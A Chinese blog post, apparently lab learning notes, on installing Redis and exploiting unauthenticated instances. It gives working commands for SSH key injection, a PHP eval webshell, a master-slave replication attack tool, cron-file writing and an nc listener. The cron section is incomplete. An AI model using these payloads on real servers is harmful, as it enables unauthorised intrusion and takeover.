记一次学习过程(redis的编译安装,以及有关redis漏洞的学习,包括redis未授权写入ssh公钥、redis写入木马、redis主从复制漏洞linux版)同时记录几个威胁分析平台

目录

redid安装

下载redis压缩包,我这里下载在了opt目录下

解压缩,进入指定目录,编译

进入src目录下,将redis-server和redis-cli拷贝到/usr/bin目录下,方便直接启动,将redis目录的redis.conf拷贝到/etc下

修改配置文件

设置内存

启动服务

连接服务

redis设置密码

​编辑

redis一些漏洞

环境搭建

允许ssh使用公钥登陆

指定公钥文件路径

重启ssh服务

使用php搭建一个简单的web服务器

redis未授权写入ssh公钥

密钥准备

首先生成一对公私钥,如果有的话可以不用生成

生成的公私钥(生成的公私钥是自己要知道的,然后将生成的公私钥通过漏洞放在redis服务器上)

修改公钥名称

现在测试一下公私钥匙是否可以正常连接

现在开始未授权写入公钥

查看备份文件路径

​编辑

查看备份文件名

​编辑

设置备份路径为/root/.ssh,修改公钥名称

​编辑

然后就可以在另外一台主机尝试无密码登陆了

redis写木马

首先使用php创建一个简单的web服务器(模拟你发现了一个网站)

扫描端口发现6379端口开着,并且可以登陆上去

执行命令上传木马

​编辑

网站访问木马

使用工具连接木马完成控制(这里使用蚁剑)

​编辑

redis主从复制漏洞

redis未授权写计划任务

设置目录

编写任务计划

设置文件名称

保存

Linux监听端口

威胁分析平台


redid安装

下载redis压缩包,我这里下载在了opt目录下

wget http://download.redis.io/releases/redis-5.0.14.tar.gz

解压缩,进入指定目录,编译

tar zxvf  redis-5.0.14.tar.gz
cd  redis-5.0.14
make

进入src目录下,将redis-server和redis-cli拷贝到/usr/bin目录下,方便直接启动,将redis目录的redis.conf拷贝到/etc下

cd src/
#服务端
cp redis-server /usr/bin
#客户端,Redis 客户端是与 Redis 服务器进行通信的应用程序或库。客户端负责向 Redis 发送命令,并接收和处理来自服务器的响应。所以是客户端连接服务端
cp redis-cli /usr/bin/

cp ../redis.conf  /etc/redis.conf

修改配置文件

# 将 Redis 的监听地址从默认的 127.0.0.1 修改为 0.0.0.0。 将 Redis 服务修改为监听所有网络接口,而不仅仅是本地回环接口 127.0.0.1。这使得 Redis 可以接受来自任何网络接口的连接请求。
sed -i 's/^bind 127.0.0.1/bind 0.0.0.0/' /etc/redis.conf 
#关闭 Redis 的保护模式, 在保护模式关闭后,Redis服务器可以接受来自任何网络主机的连接请求,而不仅仅局限于本地主机。
sed -i 's/^protected-mode yes/protected-mode no/' /etc/redis.conf 

设置内存

#默认情况下,Linux 允许超出系统实际物理内存的内存分配(overcommit),这可以导致内存耗尽和进程崩溃。将 vm.overcommit_memory 设置为 1 可以告诉内核始终允许内存分配,即使物理内存和交换空间的总和比请求的内存少。
sysctl vm.overcommit_memory=1
#THP 是 Linux 内核的一个特性,旨在优化大内存块的处理,但在某些情况下会导致性能问题,特别是对于内存敏感的应用程序如 Redis。
echo never > /sys/kernel/mm/transparent_hugepage/enabled

这两条命令结合使用可以提升 Redis 在生产环境中的性能和稳定性:

sysctl vm.overcommit_memory=1:确保 Redis 在需要时能够获得所需的内存分配。
echo never > /sys/kernel/mm/transparent_hugepage/enabled:禁用 THP,避免可能因 THP 带来的性能问题而影响 Redis 的响应速度和稳定性。

启动服务

redis-server /etc/redis.conf

连接服务

redis-cli -h 192.168.244.152 -p 6379

输入info可以查看redis信息(仅仅展示部分)

redis设置密码

在配置文件中找到requirepass foobared这一行,将foobared改成你的密码就可以了

如下图就可以进行密码登陆了

redis一些漏洞

环境搭建

允许ssh使用公钥登陆

sed -i '/PermitRootLogin /c PermitRootLogin yes' /etc/ssh/sshd_config

 禁止使用密码进行 SSH 登录

sed -i "s/^PasswordAuthentication.*/PasswordAuthentication no/g" /etc/ssh/sshd_config

 启用 RSA 公钥认证

sed -i "s/^#RSAAuthentication.*/RSAAuthentication yes/g" /etc/ssh/sshd_config

 启用公钥认证

sed -i "s/^#PubkeyAuthentication.*/PubkeyAuthentication yes/g" /etc/ssh/sshd_config

指定公钥文件路径

sed -i "s/^#AuthorizedKeysFile.*/AuthorizedKeysFile .ssh\/authorized_keys/g" /etc/ssh/sshd_config

重启ssh服务

systemctl restart ssh

使用php搭建一个简单的web服务器

nohup php -S 0.0.0.0:8888 &

nohup和&意思是让命令后台执行

然后这里就可以访问木马,然后获取权限了

redis未授权写入ssh公钥

密钥准备

首先生成一对公私钥,如果有的话可以不用生成

生成的公私钥(生成的公私钥是自己要知道的,然后将生成的公私钥通过漏洞放在redis服务器上)

修改公钥名称
mv  /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys

现在测试一下公私钥匙是否可以正常连接

测试公私钥的时候不要在你的攻击机子和redis的服务器的机子上测试,或者你把测试完成的文件在服务器上删掉,删掉之前记得保存

拷贝私钥到另外一台虚拟机上

然后输入ssh -i 私钥名称 root@要连接的虚拟机IP

测试有点毛病

原因当执行 SSH 连接时,私钥文件的权限设置非常重要。SSH 客户端要求私钥文件具有特定的权限设置,以确保私钥的机密性。通常,SSH 客户端会拒绝使用权限设置不正确的私钥文件。

将权限修改为600就没有问题了

(下图是测试出现问题的情况,没出现问题的情况忘记截图了)

现在开始未授权写入公钥

这是你已经连接上了redis,你在redis中操作,在redis中写入公钥

查看备份文件路径
config get dir
查看备份文件名
config get dbfilename

设置备份路径为/root/.ssh,修改公钥名称
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxssh "\n\n你的authorized_keys的值\n\n"
save

然后就可以在另外一台主机尝试无密码登陆了

登陆成功,获取权限了

redis写木马

这个东西的流程是你发现了一个网站,然后你扫描对方端口,发现6379端口开着,而且通过一些其他漏洞可以登陆上redis后,你在redis中执行操作获取webshell权限

首先使用php创建一个简单的web服务器(模拟你发现了一个网站)

扫描端口发现6379端口开着,并且可以登陆上去

执行命令上传木马

#设置路径,路径是对方网站路径咱门可以去猜,也可以输入一个错的可能报错会有
config set dir /var/www/html
#写入一句话木马
set xxx "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
#设置webshell名称
config set dbfilename webshell.php 
save

网站访问木马

使用工具连接木马完成控制(这里使用蚁剑)

redis主从复制漏洞

这个是你冒充redis的主服务器,让redis从服务器下载木马(这里使用工具)

要求:这里用的是linux系统(攻击Windows比较复杂后续再尝试)同时redis是4.x或5.x版本才可以打

这里使用工具(工具可以使用但是要懂得漏洞原理并且可以复现出来,只会使用工具是不可取的)

python3 redis-attack.py -r 目标IP -p 目标端口 -L 监听IP -P 监听端口 -a redis密码 -lf exp/linux/exp.so

权限获取成功

redis未授权写计划任务

设置目录

config set dir /var/spool/cron

编写任务计划

config set dir /var/spool/cron

设置文件名称

config set dbfilename root

保存

save

Linux监听端口

nc -lvnp 6666

威胁分析平台

https://s.threatbook.com/
奇安信威胁情报中心
VirusTotal

  • 13
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值